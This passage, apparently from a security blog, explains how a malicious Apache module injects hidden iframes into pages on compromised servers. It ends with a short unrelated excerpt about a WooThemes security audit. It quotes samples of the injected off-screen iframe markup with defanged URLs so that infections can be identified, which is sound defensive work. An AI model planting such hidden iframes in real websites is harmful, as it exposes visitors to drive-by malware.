Server Compromises – Understanding Apache Module iFrame Injections and Secure Shell Backdoor

There are many ways to inject a malicious payload onto a website. The attacker can modify any of the web files (index.php for example), the .htaccess file or php.ini (if the site is using PHP). There are other ways, but those are the most common methods, specially on shared hosts.

However, for the last year, we started to see a new way to inject malware on compromised servers via a malicious Apache module. We posted about it before and it has been covered on many other mediums. After a few months of tracking them, and working on multiple servers that had this issue, we want to share a bit of what we have learned.

Identifying the injection

First, a good way to identify if an infection is coming via the Apache module compromise is by looking at how the iframe is being inserted. They seem to always follow this pattern:

<style<.t1nhuhjv { position:absolute; left:-1619px; top:-1270px} </style> <div class=”t1nhuhjv”><iframe
src="httx://qotive." width=”534″ height=”556″> </iframe></div>


<style>.q6umct6stl { position:absolute; left:-1284px; top:-1774px} </style> <div class="q6umct6stl”><iframe
src="httx://nujifa." width="367" height="411"></iframe></div>

The domain name changes very often (IP is often, as does the div class name and the iframe sizes. These are some of the domains we have tracked:

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WooThemes Security Audit Process & Development Partner WebDevStudios

WooThemes recently released a post talking to an audit that was performed on their various plugins and framework by our team. While true, it is important to note their level of commitment to providing secure products was second to none, it was actually quite refreshing.


The review was an exceptional process and we felt compelled to share some more information into the process.

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